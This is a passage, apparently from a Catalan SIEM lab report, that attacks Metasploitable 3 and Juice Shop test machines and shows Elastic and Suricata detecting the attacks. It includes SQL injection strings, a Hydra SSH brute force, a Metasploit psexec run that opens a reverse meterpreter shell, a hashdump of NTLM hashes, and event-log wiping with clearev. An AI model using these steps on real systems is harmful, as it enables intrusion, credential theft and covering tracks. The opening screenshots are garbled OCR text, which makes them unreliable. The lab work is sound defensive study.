Iget         192.168.43.103         7           Iget         192.168.43.103         7           Iget         192.168.43.103         1           Iget         192.168.43.103         1 <td< td=""><td>country         Bytes in         By           No iter         No iter           Users         Showing: 1 user           User ↑         ID           [leia_organa         [1111           SIEM / Network / 192.168.43.103         [1111           SIEM / Network / 192.168.43.103         [1111           Y &lt;</td>         Search         [111           →         Add filter         [111           HTTP Requests         Showing: 25 requests         [112.168.43.103           Method         Demain         [111]           [get         112.168.43.103         [112.168.43.103           [get         112.168.43.103         [112.168.43.103</td<>	country         Bytes in         By           No iter         No iter           Users         Showing: 1 user           User ↑         ID           [leia_organa         [1111           SIEM / Network / 192.168.43.103         [1111           SIEM / Network / 192.168.43.103         [1111           Y <	ter out ↓ Flows Is found Flows Fl	source IPs ap name Description pr × ifter ign ifter ign ign ign ign ign ign ign ign	Country	event.category	Bytes out No items found  No items found  V  Last 120 minutes  event.action  hievel status of the trans t, out the result has a mere t, out the transaction (for et t, other the transaction (for ett))	t n action. The way aning independe kxample, HTTP, M	Flows Flows Show da KQ Nost.nam to compute the provided the provided the provided the computed the provided t	Destinati	< > count 1 count 1 count 1 count 1 count 1 count count 1 coun
Iget         1192.168.43.103         t Iurt.full         Bpasword-8xpder:%27-08-1%           Iget         192.168.43.103         t Iurt.path         D Lowername%2Cpassword-FROM-use           Iget         192.168.43.103         t Iurt.path         Ipasword-8xpder:%27-08-1%           Iget         192.168.43.103         t Iurt.path         Ipasword-8xpder:%27-08-1%           Iget         192.168.43.103         t Iurt.path         Ipasword-8xpder:%27-08-1%	country         Bytes in         By           No iter         No iter           Users         Showing: 1user           User ↑         ID            leia_organa         [1111           SIEM / Network / 192.168.43.103         [1111           SIEM / Network / 192.168.43.103         [1111           Y         Search         I           →         + Add filter         I           HTTP Requests         Showing: 25 requests         I           Method         Domain         [get           [get         192.168.43.103         [get	ter out ↓ Flows Is found Flows Fl	source IPs	Country	Bytes in sup ID RL QUE! a b b b b b b b b b b b b b b b b b b b	Bytes out No items found  No items found  U  U  U  U  U  U  U  U  U  U  U  U  U	t n action. The way aning independe	Flows Show da KQ host.nam	Destinati	< > count 1 count 1 count coun
Iget         192.168.43.103         Cusername%2Cpassword-FROM+use rsk32           Iget         192.168.43.103         t iurt.path           Parse age space 10.12         t iurt.path         //payroll.app.php	country         Bytes in         By           No iter         No iter           Users         Showing: Luser           User ↑         ID            ieia_organa          1111           SIEM / Network / 192.168.43.103          1111           SIEM / Network / 192.168.43.103          111           Y         Search                     →         Add filter                     HTTP Requests         Showing: 192.168.43.103                     get         192.168.43.103	ter out ↓ Flows to found Flows Flows Flows Filter × ♥ × Sea () - + Add 1 Columns @timestamp↓ () - + Add 1 () - + Add 1	source IPs	Country	event.category	Bytes out No items found No items found	action. The way aning independe xsample, HTTP, N	Flows Show da	Destinati	C C C C C C C C C C C C C C C C C C C
Opt         192.168.43.103         t [urt.path         //payrol_app.php           Design app approx 10, bit         password-84-0K8.user-%27+0R+1%         password-84-0K8.user-%27+0R+1%	country         Bytes in         By           No iter         No iter           Users         Showing: 1user           User ↑         ID           iela.organa         1111           SIEM / Network / 192.168.43.103         1111           SIEM / Network / 192.168.43.103         1111           SIEM / Network / 192.168.43.103         1111           Method         Demain           get . [post         192.168.43.103           get . [post         192.168.43.103           get . [192.168.43.103         192.168.43.103	ter out ↓ Flows Is found Flows Flows Flows Flows Fiter ∨ E ∨ See () - + Add1 Columns @timestamp ↓ Flows Fiter ∨ E ∨ See () - + Add1 () flows f	source IPs ip name Description pr × pr × pr (n) pr (n)	Country	event.category app php event.category The hig app php -OR-1%	Bytes out No items found  No items found  U  U  U  U  U  U  U  U  U  U  U  U  U	t n action. The way aning independent xample, HTTP, M	Flows Flows Show da KQ KQ Nost.nam	Destinati	< >    count   1      1    Particular and a count of the second seco
Partie de page 10. La 2007 10.	Country         Bytes in         Bytes in           No iter         No iter           Users         Showing: 1 user           User ↑         ID           Ieia,organa         1111           SIEM   Network   192,168,43,103         1111           SIEM   Network   192,168,43,103         1111           Y         Search         111           HTTP Requests         111           Showing: 25 requests         111           Method         Demain           [get         112,168,43,103           [ge	ter out ↓ Flows to found	source IPs ip name Description pr × Crch filter me ip name Description rch filter ip name ip	Country  Cou	event.category event.category The hole app.php app.php app.php app.php app.php app.php app.php app.php	by tes out No items found  No items found  U  U  U  U  U  U  U  U  U  U  U  U  U	n action. The way aning independent xample, HTTP, h	Flows Flows Show da KQ KQ NosLnam to compute kind and a second se	Destination	Count Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count
	country         Bytes in         Bytes in           No iter         No iter           User ↑         ID           Iteia_organa         1111           SIEM / Network / 192.168.43.103         1111           SIEM / Network / 192.168.43.103         1111           Y         Search         1111           P - + Add filter         ID         1111           HTTTP Requests         Inter         Inter           Iget , lopat         192.168.43.103         Inter	ter out ↓ Flows Is found Captura 10 Captura 10 Captura 10 × ☆ Untitled Timeline (a) utpath: "/payroll.app.ph Drop here to build an OR query (a) Filter V (2) Sea (c) - + Add 1 (c) utpath: "(c) Sea (c) - + Add 1 (c) utpath: (c) Sea (c) - + Add 1 (c) utpath (c) utpath (c) utpath	source IPs	Country	event.category event.category The type app.php app.ph	Bytes out No items found  No items found  U  Last 120 minutes  event action  hevel status of the trans e of the transaction (for e	n action. The way aning independe xxample, HTTP, N	Flows	Destinati	Count Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count 1 Count



### Captura 109: Detall del timeline source IP



# Captura 112: Timeline d'accions 2



	Search			2020 @ 10.419 Apr 10, 2020 @ 10.0	O Kellesii (O				
Ø	😨 – + Add filter								
企		OR host.name: "metasploitable3-ub"	1404" × AND not event.category: "network_traffic" ×						
50	Events	Drop here to build an OR query							
(dit)	Showing: 1820 events	AND Filter V 🕃 V Search		KQL	● Raw events ∨				
8	i≣ @timestamp ↓ message	😌 – + Add filter	⑦ − + Add filter						
ø	>    Apr 15, 2020 @ 18:58:17.784	I≣ Columns @timestamp ↓	message event.category	event.action host.name	sourc				
8		index	auditbeat-7.6.2-2020.04.05-000001						
-		Score	1		I				
50		@ _type	_doc						
2	>    Apr 15, 2020 @ 18:58:16.780   -	t agent.ephemeral_id	6d1e2546-8200-4630-8253- 3f79efd3db6e						
ct		t agent.hostname	metasploitable3-ub1404						
@		t lagent.id	4047e56b-007c-4297-a53d- 6bcc13b2bd98						
	> Apr 15, 2020 @ 18:58:15.777 -	t agent.type	auditbeat						
8		t agent.version	7.6.2						
ç		t ecs.version	1.4.0						
		2 t event.action	updated						
۲	And 15, 2020 (5, 19,59,14,772)	t event.dataset	file						
	/ [Apr 15, 2020 @ 18:58:14.772 [-	t event.module	file_integrity						
⇒		49 V of 49 Events		0	Updated 3 minutes ago				

Captura 114: Creació de la regla SQL-Injection

K	D SIEM / Detections / Si	ignal dete	ction rules / Create		C	e
Ø		$\checkmark$	Define rule	Ø Edit		
ŝ			Index patterns	Custom query		
80			packetbeat-*	url.query : *%27+OR+1%3D1* or url.query : *%27+or+1%3D1*		
(int)						
8		$\sim$	About rule	0 Edit		
Ð						ine
2			Name SOL-Injection-Ltrl-nuery	Risk score		Time
S			Description	Investigate detections using this timeline template		
둰			Es comprovar si al parametre url.query apareix la setencia or 1 = 1	Default blank timeline		
Î			Severity	Tags		
9			• riigii	ormilection Laeverneer		
Ÿ						
ŵ		3	Schedule rule	🖉 Edit		
۲			Runs every			
			5 Minutes V			
⇒			Rules run periodically and detect signals within the specified time frame.			



Captura 115: Detecció del signal SQL-Injection

8.2.2.6.2. Metasploitable 3: Windows 2008 R2

Captura 116: Nmap de Windows

🧬 kali@kali	.~		- 🗆 ×
root@kali 04	:~# nma	ap -sV -Pn -T4 -p 1-6	5535 -oX winmetasploitable3.xml 192.168.43.1
Starting 1	Mmap 7	.80 ( https://nmap.org	g ) at 2020-04-16 19:06 CEST
Nmap scan	report	t for 192.168.43.104	
Host is u	p (0.0)	016s latency).	
Not shown	6549	1 closed ports	
PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	Microsoft ftpd
22/tcp	open	ssh	OpenSSH 7.1 (protocol 2.0)
80/tcp	open	http	Microsoft IIS httpd 7.5
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445/tcp	open	microsoft-ds	Microsoft Windows Server 2008 R2 - 2012 mic
rosoft-ds			
1617/tcp	open	java-rmi	Java RMI
3306/tcp	open	mysql	MySQL 5.5.20-log
3389/tcp	open	tcpwrapped	
3700/tcp	open	giop	CORBA naming service
4848/tcp	open	ssl/appserv-http?	
5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7676/tcp	open	java-message-service	Java Message Service 301
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)
8019/tcp	open	qbdb?	
8020/tcp	open	http	Apache httpd
8022/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8027/tcp	open	unknown	
8028/tcp	open	postgresql	PostgreSQL DB
8031/tcp	open	ssl/unknown	
8032/tcp	open	desktop-central	ManageEngine Desktop Central DesktopCentral
Server			
8080/tcp	open	http	Sun GlassFish Open Source Edition 4.0
8181/tcp	open	ssl/intermapper?	
8282/tcp	open	http	Apache Tomcat/Coyote JSP engine 1.1
8383/tcp	open	ssl/http	Apache httpd
8443/tcp	open	ssl/https-alt?	
8444/tcp	open	desktop-central	ManageEngine Desktop Central DesktopCentral
Server			
8484/tcp	open	http	Jetty winstone-2.8
8585/tcp /2)	open	http	Apache httpd 2.2.21 ((Win64) PHP/5.3.10 DAV

## Captura 117: Nmap de Windows 2

🧬 kali@kali: ~				_		$\times$
8585/tcp o	pen	http	Apache httpd 2.2.21 ((Win64)	PHP/5	5.3.10	DAV ^
/2)						
8686/tcp o	pen	java-rmi	Java RMI			
9200/tcp o	pen	wap-wsp?				
9300/tcp o	pen	vrace?				
47001/tcp o	pen	http	Microsoft HTTPAPI httpd 2.0	(SSDP/	'UPnP)	
49152/tcp o	pen	msrpc	Microsoft Windows RPC			
49153/tcp o	pen	msrpc	Microsoft Windows RPC			
49154/tcp o	pen	msrpc	Microsoft Windows RPC			
49155/tcp o	pen	unknown				
49156/tcp o	pen	msrpc	Microsoft Windows RPC			
49186/tcp o	pen	java-rmi	Java RMI			
49189/tcp o	pen	tcpwrapped				
49232/tcp o	pen	msrpc	Microsoft Windows RPC			
49319/tcp o	pen	ssh	Apache Mina sshd 0.8.0 (prot	ocol 2	2.0)	
49320/tcp o	pen	jenkins-listener	Jenkins TcpSlaveAgentListene			
49429/tcp o	pen	msrpc	Microsoft Windows RPC			
1 service u	inrec	ognized despite retur	ming data. If you know the se	rvice/	versi	on,
please subm	uit tl	he following fingerpr	int at https://nmap.org/cgi-b	in/sub	mit.c	gi?n
ew-service						
SF-Port9200	)-TCP	:V=7.80%I=7%D=4/16%Ti	.me=5E9890A7%P=x86_64-pc-linux	i−gnu%r	:(Ge	
SF:tRequest	,188	,"HTTP/1\.0\x20200\x2	200K\r\nContent-Type:\x20appli	cation	ı/js	
SF:on;\x20c	harse	et=UTF-8\r\nContent-I	<pre>Sength:\x20305\r\n\r\r\n\x2</pre>	0\x20\	"st	
SF:atus\"\x	20:\;	x20200,\r\n\x20\x20\"	'name\"\x20:\x20\"Ch'od\",\r\n	\x20\x	20\	
SF:"version	ı\"\x	20:\x20{\r\n\x20\x20\	x20\x20\"number\"\x20:\x20\"1	.1.1	.\",	
$SF:\r\n\x20$	)\x20'	$x20\x20\mbox{"build_hash}$	<pre>\"\x20:\x20\"f1585f096d3f3985e</pre>	73456d	lebd	
SF:c1a0745f	512bl	bc\",\r\n\x20\x20\x20	)\x20\"build_timestamp\"\x20:\	x20\"2	2014	
SF:-04-16T1	4:27	:12Z\",\r\n\x20\x20\x	20\x20\"build_snapshot\"\x20:	\x20fa	lse	
SF:, $r\n\x2$	20\x2	0\x20\x20\"lucene_ver	rsion\"\x20:\x20\"4\.7\"\r\n\x	20\x20	)},\	
$SF:r\n\x20$	x20\'	"tagline\"\x20:\x20\"	You\x20Know,\x20for\x20Search	l\"\r\n	ı}\n	
SF:")%r(HTT	POpt:	$ions, 4F, "HTTP/1 \. 0 \x 2$	20200\x200K\r\nContent-Type:\x	20text	:/pl	
SF:ain;\x20	char:	set=UTF-8\r\nContent-	Length:\x200\r\n\r\n")%r(RTSE	Reques	st,4	
SF:F, "HTTP/	1\.1	x20200\x200K\r\nCont	cent-Type:\x20text/plain;\x20c	harset	:=UT	
SF:F-8\r\nC	onte:	nt-Length:\x200\r\n\r	r\n")%r(FourOhFourRequest,A9,"	HTTP/1		
SF:\x20400\	x20Ba	ad\x20Request\r\nCont	ent-Type:\x20text/plain;\x20c	harset	:=UT	
SF:F-8\r\nC	Conter	nt-Length:\x2080\r\n\	$r\nNo\x20handler\x20found\x20$	for\x2	20ur	
SF:i\x20\[/	'nice <sup>s</sup>	%20ports%2C/Tri%6Eity	<pre>v\.txt%2ebak\]\x20and\x20methc</pre>	d\x20\	[GE	
SF:T\]")%r(	SIPO	ptions,4F,"HTTP/1\.1\	x20200\x20OK\r\nContent-Type:	\x20te	ext/	
SF:plain;\x	20ch	arset=UTF-8\r\nConten	<pre>ht-Length:\x200\r\n\r\n");</pre>			
MAC Address	: 00	:0C:29:F6:DC:81 (VMwa	are)			~

8.2.2.6.2.1. Força bruta i exploit mitjançant psexec

Captura 118: Obtenció de la contrasenya per força bruta

🛃 kali@kali: ~	—		$\times$
root@kali:~# hydra -l vagrant -P ssh_wordlist.txt 192.168.43.104 . Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in mili service organizations, or for illegal purposes.	ssh tary o	r secr	et ^
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 20. 01	20-04-	18 11:	53 <b>:</b>
[WARNING] Many SSH configurations limit the number of parallel ta mmended to reduce the tasks: use -t 4	sks, i	t is r	eco
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (	l:1/p:	8), ~1	tr.
[DATA] attacking ssh://192.168.43.104:22/ [22][ssh] host: 192.168.43.104 login: vagrant password: vagra	nt		
<pre>1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 20 02</pre>	20-04-	18 11:	53:
root@kali:~# 🗌			
			$\sim$



🥵 kali@kali: ~	_	×
****		~
****		
***		
****		
****		
# # ### # ##		
****		
## ## ##		
https://metasploit.com		
<pre>=[ metasploit v5.0.71-dev ] +=[ 1962 exploits - 1095 auxiliary - 336 post ] +=[ 558 payloads - 45 encoders - 10 nops ] +=[ 7 evasion ]</pre>		
<pre>msf5 &gt; use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) &gt; set rhost 192.168.43.104 rhost =&gt; 192.168.43.104</pre>		
<pre>msf5 exploit(windows/smb/psexec) &gt; set SMBUser vagrant</pre>		
SMBUser => vagrant		
<pre>msf5 exploit(windows/smb/psexec) &gt; set SMBPass vagrant</pre>		
SMBPass => vagrant		
<pre>msf5 exploit(windows/smb/psexec) &gt;</pre>		$\sim$
Captura 120: Accés al meterpreter		

🞤 kali@kali: ~ \_\_\_\_  $\times$ --=[ 7 evasion ~ msf5 > use exploit/windows/smb/psexec msf5 exploit(windows/smb/psexec) > set rhost 192.168.43.104 rhost => 192.168.43.104 msf5 exploit(windows/smb/psexec) > set SMBUser vagrant SMBUser => vagrant
msf5 exploit(windows/smb/psexec) > set SMBPass vagrant SMBPass => vagrant msf5 exploit(windows/smb/psexec) > run [\*] Started reverse TCP handler on 192.168.43.142:4444 [\*] 192.168.43.104:445 - Connecting to the server...
[\*] 192.168.43.104:445 - Authenticating to 192.168.43.104:445 as user 'vagrant'. [\*] 192.168.43.104:445 - Selecting PowerShell target [\*] 192.168.43.104:445 - Executing the payload...
[+] 192.168.43.104:445 - Service start timed out, OK if running a command or non \*] Sending stage (180291 bytes) to 192.168.43.104 \*] Meterpreter session 1 opened (192.168.43.142:4444 -> 192.168.43.104:49656) a 2020-04-18 11:53:49 +0200 meterpreter >
Captura 121: Hashdump

🛃 kali@kali: ~	_		$\times$
<pre>[*] 192.168.43.104:445 - Executing the payload [+] 192.168.43.104:445 - Service start timed out, OK if running a -service executable [*] Sending stage (180291 bytes) to 192.168.43.104 [*] Meterpreter session 1 opened (192.168.43.142:4444 -&gt; 192.168.4 t 2020-04-18 11:53:49 +0200</pre>	comman 43.104	nd or r :49656)	non a
<pre>meterpreter &gt; run post/windows/gather/hashdump</pre>			
<pre>[*] Obtaining the boot key [*] Calculating the hboot key using SYSKEY 660093f73f62a7103efd40: [*] Obtaining the user list and keys [*] Decrypting user keys</pre>	144435	1d86	
[*] Dumping password hints			
No users with password hints on this system			
[*] Dumping password hashes			
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51 50b:::	571d91	3c245d3	35b
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c590 vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d91	17e0c0 13c245	89c0::: d35b50b	):: v
Captura 122: Neteja del visor d'esdeveniments			

🛃 kali@kali: ~	_		$\times$
darth_vader:1010:aad3b435b51404eeaad3b435b51404ee:b73a851f8ecff7a	cafbaa	4a806ae	ea3 ^
e0::::			
anakin_skywalker:1011:aad3b435b51404eeaad3b435b51404ee:c706f83a7b 3de94fa:::	17a023	0e55cde	e2f
<pre>jarjar_binks:1012:aad3b435b51404eeaad3b435b51404ee:ec1dcd52077e75 4d4:::</pre>	aef4a1	930b091	.7c
lando_calrissian:1013:aad3b435b51404eeaad3b435b51404ee:6270845589 042a53f:::	8f2d7dl	b11cfb6	570
<pre>boba_fett:1014:aad3b435b51404eeaad3b435b51404ee:d60f9a4859da4fead :::</pre>	af160e	97d200c	lc9
jabba_hutt:1015:aad3b435b51404eeaad3b435b51404ee:93ec4eaa63d63565 6:::	f37fe7	f28d99c	ce7
greedo:1016:aad3b435b51404eeaad3b435b51404ee:ce269c6b7d9e2f1522b4	4686b4	9082db:	
chewbacca:1017:aad3b435b51404eeaad3b435b51404ee:e7200536327ee731c :::	7fe136	af4575e	ed8
kylo_ren:1018:aad3b435b51404eeaad3b435b51404ee:74c0a3dd06613d3240 ::	331e94	ae18b00	)1:
meterpreter > clearev			
[*] Wiping 62 records from Application			
[*] Wiping 180 records from System			
[*] Wiping 32357 records from Security			
meterpreter >			$\sim$

Captura 123: Alerta de network trojan

SIEM / Detections / External alerts						Q E
🖺 🗸 Search		ĸ	(QL 🛗 ~	Last 30 minutes	Show dates C R	efresh
n + Add filter						
External alerts						6
Showing: 35 external alerts						IC(
i≣ @timestamp ↓ event.module	event.dataset	event.category	event.se	everity host.name	message	age
V Apr 18, 2020 @ 11:53:48.510 suricata	suricata.eve	network_traffic	1	suricata.mistic.lab	A Network Trojan was detec	OC
Table JSON View						
C Eilter by Eigld Value or Description						
C( Filter by field, value, or bescription						
Field	Value	Descrip	tion			
S @timestamp	Apr 18, 2020 @ 11:53:48.510	)				
id	nJO1jHEBud3Mu5UmYpgA					
① Lindex	filebeat-7.6.2-2020.04.04-00	00001				
Oscore	1					
①type	_doc					
t agent.ephemeral_id	c61ddea3-8617-49ab-9138-	c2f6a7d052b9				
t agent.hostname	suricata.mistic.lab					
A Local A	004630d9-b8e9-46c2-a141-	5404756d4f66				
r agent.id						
t agent.type	filebeat					

## Captura 124: Signatura del Suricata

Constant				KOI	m	L + 00		Charu data a	Ol Defeash
Search				KQL		Last 30 minu	tes	Show dates	G Refresh
+ Add filter									
External ale	rts								R
Chowing, 25 outernal aler									EC(
Showing, 35 external aler	19								
	event.module	event.dataset	event.category		event.se	verity	host.name	message	age
t suricata.e	ve.alert.category	A Network Trojan was detected							
# suricata.e	ve.alert.gid	1							
t suricata.e	ve.alert.metadata.affected_product	Any							
t suricata.e	ve.alert.metadata.attack_target	Client_and_Server							
t suricata.e	ve.alert.metadata.created_at	2016_05_16							
t suricata.e	ve.alert.metadata.deployment	Datacenter Internal Internet Perimeter							
t suricata.e	ve.alert.metadata.former_category	TROJAN							
t suricata.e	ve.alert.metadata.signature_severity	Critical							
t suricata.e	ve.alert.metadata.tag	Metasploit							
t suricata.e	ve.alert.metadata.updated_at	2018_07_09							
# suricata.e	ve.alert.rev	1							
t suricata.e	ve.alert.signature	ET MALWARE Possible Metasploit Common Construct Bind_API (from	Payload server)						
# suricata.e	ve.alert.signature_id	2025644							
t suricata.e	ve.event_type	alert							



## Captura 125: Intents fallits d'accés amb un usuari

Captura 126: Processos no comuns

🕄 🗸 Search		KQL 🛗 🗸 Last 30 minutes	Show dates C Refresh
agent.type: auditbeat × + A	dd filter		
All values returned z	ero All values returned zero	All values returned zero	All values returned zero
Authentications Uncomm	non processes Events External alerts		
Uncommon proce	esses		
Uncommon proce Showing: 4 processes	esses		ត
Uncommon proce Showing: 4 processes Process name	Instances Last command	Last user	ଲ
Uncommon proce Showing: 4 processes Process name [conhost.exe	Instances Last command 1 [1770:UWindowsjsystem32(conhost.exe	Last user [\17 AUTHORITY\5Y5TEM	ត
Uncommon proces Showing: 4 processes Process name [conhost.exe mmc.exe	Instances Last command 1 [177]C1Windowslsystem32(conhost.exe 1 [C2Windowslsystem32(rnmc.exe 1 More	Last user INT AUTHORITY(SYSTEM MISTIC/Administrator	ଲ
Uncommon proces Showing: 4 processes Process name [conhost.exe ]mmc.exe ]powershell.exe	Instances Last command           1         [177/G1/WindowsIsystem32]conhost.exe         1         [C2/WindowsIsystem32]conhost.exe           1         [C2/WindowsIsystem32]trmc.exe         1         [C2/WindowsIsystem32]trmc.exe           1         [C2/WindowsIsystem32]trmc.exe         1         [C2/WindowsIsystem32]trmc.exe           1         [C2/WindowsIsystem32]trmc.exe         1         [C2/WindowsIsystem32]trmc.exe           1         [C2/WindowsIsystem32]trmc.exe         1         [C2/WindowsIsystem32]trmc.exe	Last user INT AUTHORITY(SYSTEM IMISTIC/Administrator; wer INT AUTHORITY(SYSTEM	ଲ
Uncommon proce Showing: 4 processes Process name [conhost.exe ] mmc.exe ] powershell.exe	Instances Last command           1         [VP/0:/Windowslaystem32/conhost.exe         1         [CWIndowslaystem32/conhost.exe         1         [CWIndowslaystem32/conhost.exe <td>Last user INT AUTHORITY/SYSTEM MISTIC/Administrator wer INT AUTHORITY/SYSTEM</td> <td>ត</td>	Last user INT AUTHORITY/SYSTEM MISTIC/Administrator wer INT AUTHORITY/SYSTEM	ត

## Captura 127: Detall dels processos

		KQL	🛗 🗸 Last 30 minute	es	Show dates G	Refres
agent.type: auditbeat × + Add filter						
events						6
nowing: 97 events						
■ @timestamp ↓ message	host.name	event.module	event.dataset	event.action	user.name	sou
> Apr 18, 2020 @ 11:53:50.099 Process powershell.e	exe (PID:    winmetasploit3.mistic.lab	system	process	process_started	NT AUTHORITY\SYSTEM	-
NT AUTHORITY\SYSTEM  winmetasploi vinden	it3.mistic.lab in 🖻 C:\Windows start	ed process >_ powershell.ex bject System.IO.StreamRe	e (5308) C:\Wind ader(New-Object Sys	ows\syswow64\WindowsPov tem.IO.Compression.GzipStre	erShell\v1.0\powershell.exe am((New-Object	-noni
JhbFLEOilmjUJmpqULe4tvwqDk3MGNQAWNpCHmAni9/g	GREi8HCfdKlqEN7z14z4lLOv+w7DLlR5zvG	9c7BL7PLfHCx4fCBthkQBwQv	3IL0GC3IFmNCIQ/fYo2r+t7t	fdI3Mi2ZE8iyIRWHM1ZRnfC5	ZQytjYw7JHoCIQ/CdKPRVHJOLx	qE9iG/IW
		via parent process (6816)	3b136a85fe			
	# C0442					
	CO444	owershell.exe (PID: 5308) by us	er NT AUTH DOD			
Apr 18, 2020 @ 11:53:50.099 Process conhost.exe	(PID: 7    winmetasploit3.mistic.lab	owershell.exe (PID: 5308) by us	process	process_started	NT AUTHORITY\SYSTEM	-
Apr 18, 2020 @ 11:53:50.099 Process conhost.exe     C. NT AUTHORITY\SYSTEM @ winnet.	(PID: 7    winmetasploit3.mistic.lab asploit3.mistic.lab in    CD C:\Windows\s	system system2 started process	process	process_started	NT AUTHORITY\SYSTEM	-
[Apr 18, 2020 @ 11:53:50.099         Process conhost.exe           []         E NT AUTHORITYLSYSTEM         @ []         winnets	(PID: 7   winnetasploit3.mistic.lab asploit3.mistic.lab   in   🖻 C:\Windows\s	system (started process (360) (360)	process _ conhost.exe (7092)	process_started	NT AUTHORITY\SYSTEM	-
↓         Apr 18, 2020 @ 11:53:50:09@         Process conhost.exe           ↓         ▲         NT AUTHORITYLSYSTEM         @ ↓         winmeta	(PID: 7    winnetaspoil3.mistic.lab aspiolt3.mistic.lab    C C(Windowsis    # 680d	system ystem32 started process (360) ecof8907f4b891ffbe2aa5f2fd2	er NT AUTH *** process conhost.exe (7092) 5425be0b0	process_started	NT AUTHORITY\SYSTEM	ess —

Captura 128: Connexions amb SSH al servidor

		0 0
🖫 🗸 Search	× ☆ Untitled Timeline Description 🔽 Notes • 🖨 📾 ∨ Apr 18, 2020 @ 11:53: → Apr 18, 2020 @ 11:5	C Refresh
agent.type: auditbeat × + Add filter		
First seen Apr 6, 2020 @ 19:53:41.694	Drop anything highlighted here to build an or query	
Last seen 1 hour ago	🔊 Filter 🗸 🛐 🗸 host.name: winmetasploit3.mistic.lab and agent.type: packetbeat and not destination.port: 9200 KQL	<ul> <li>Raw events</li> </ul>
	Image: Columns     ⊕timestamp ↑     message     event.category     event.action     host.name	.50
User authentications		it3.mistic.lab
<ul> <li>O success</li> </ul>	⊙ Apr 18, 2020 ⊕ 11:53:50:2621 Source   (2702%) 10.3KB   148 pkts →> Destination   ⊙ Apr 18, 2020 ⊕ 11:53:50:329   192:168.431 :   47958 ♡ < →  (72.98%) 27.7KB   194 pkts   192:168.43142 :   22	13
	→ 〒 □   Apr 18, 2020 @ 11:53:50.583       network_traffic    network_flow    winmetasplo	it3.mistic.lab
All values returned zero	Ons 1.3KB 10 pkts tcp 1:aNusL4RojeM4Zep5pfS+LXJcFB4=	
All values retained zero	[○] Apr 18, 2020 (p) 11:53:26169         Source         —         [6] (6) 18%) 8898         —         6 pkts         >         Destination           [○] Apr 18, 2020 (p) 11:53:26169         [192:168.43.10]         [6080 (2)]         ()         [30.82%) 3968         [4] pkts         [192:168.43.10]         [5601	
	>              Ţ         □         Instruction         Instructi	it3.mistic.lab   19
Authentications Uncommon processes	9s 538,085900ms     3.7KB 14 pkts tcp 1:uFF0vj8YB3t1TyPUylucMC0GMcY=	
	O Apr 18, 2020 @ 11:53:26.169         Source          (64.39%) 2.4KB          8 pkts         >         Destination           O Apr 18, 2020 @ 11:53:35.707         192.168.43.11         6 0881             9 pt 18         192.168.43.100         \$ 5601	ø
E	N 🖶 🗂 I Ana to nonn de Hadhato do San I	an anticata dalar di An
Events		



#### Captura 129: Connexions des del servidor



#### Captura 131: Neteja del visor d'esdeveniments

😫 🗸 Search		KQL	🛗 🖌 Last 30	minutes	Show dat	es  ී <b>Refresh</b>
n + Add filter						
Signals (SIEM Detections) External alerts						
Signal count						
					Stack by signal.rule.risk	⊂score ∨
Showing, H signals						
10 9 8						• 90 0
7						• 100 0
4						
0						
04-19 10:55 04-19 11:00	04-19 11:05	04	19 11:10	04-19 11:15	04-19 11:20	
Signals					Open sign	als Closed signals
Showing 11 signals Selected 0 signals Selected Selected	ect all 11 signals					
C III @timestamp ↓ Rule	Version	Method Severity	Risk Score	event.module	event.action	event.category
🗌 🖧 🏀 🗲 🛛 Apr 19, 2020 🎯 11:20:23.517 🛛 Hashdump	1	query critical	100	system	existing_process	I-
	14	Leaderst Leaderst	lon			network traffic

Captura 134: Signal hashdump i network trojan

8.2.2.6.3. Web Security Dojo 8.2.2.6.3.1. SQL Injection

Captura 135: SQL-Injection

Archivo Editar Ver Historial Marcadore	s Herramientas Ayyc	ta .						ø ×
(←) → ⊂ ⊕	192.168.4	<b>/3.105</b> :3008/#/login			··· 🖂 🕼 🕁		± II\	ⓐ ● Ξ
0WASP Juice Shop	➡) Login	Q1 Contact Us	H I English		Search	۹	() About Us	GitHub
			Emal 'or 1=1;-  Passend  Passend  Passend  Remember me  Forgot your password? Not yet a customer?	•				

Captura 136: Login SQL-Injection

Archivo Editar Ver Historial	Marcadores Herramienț	as Ayyda								- 0	×
↔ → ♂ ☆	0 🔏 🗝	192.168.43.105:3008/#/searc	h				🛛 😰 L	7	Ŧ	lin 🗈 🌒	≡
	Shop 🔒 🔂	Logout Q Contact Us	Your Basket	👯 📕 English	-	Search	0	۹	i About Us	<b>()</b> GitHub	
You successfully solve	ed a challenge: Login	Admin (Log in with the admir	istrator's user account	t.)						x	
	All Products										
	1	Apple Juice (1000ml)	The all-tim	e classic.			1.99	0 Ì	e.		
		Apple Pomace	Finest pres back to us	ssings of apples. Allerg for recycling.	gy disclaimer: Might contai	n traces of worms. Can be sent	0.89	@ )	2		

#### Captura 137: Alertes del Suricata

K	Detections - Kibana 🗙 🔀 Services   APM 💠	×   +				
$\leftarrow$	→ C ▲ No seguro   elasticstack.mistic.lab:5601/app/siem#/d	detections/alerts?timerange=(global:(linkTc	:!(timeline),timera	nge:(from:1587488187047,fromStr:now-24h,	kind:relat 🛱 🍳 🛧 🐥	🔦 🛯 🖉 8
K	D SIEM / Detections / External alerts					0
	₿ ✓ Search		KQL 🛗 🗸	Last 24 hours	Show dates	C Refresh
Ø	😨 - + Add filter					
俞	Showing: 33 external alerts					
=0						
ŵ	i≣ @timestamp ↓ event.module	event.dataset	event.category	event.severity	observer.name	host.name
	t suricata.eve.alert.signature	SURICATA HTTP Request unrecognized authorization method				
6Đ	#    suricata.eve.alert.signature_id	2221034				
****	t suricata.eve.event_type	alert				
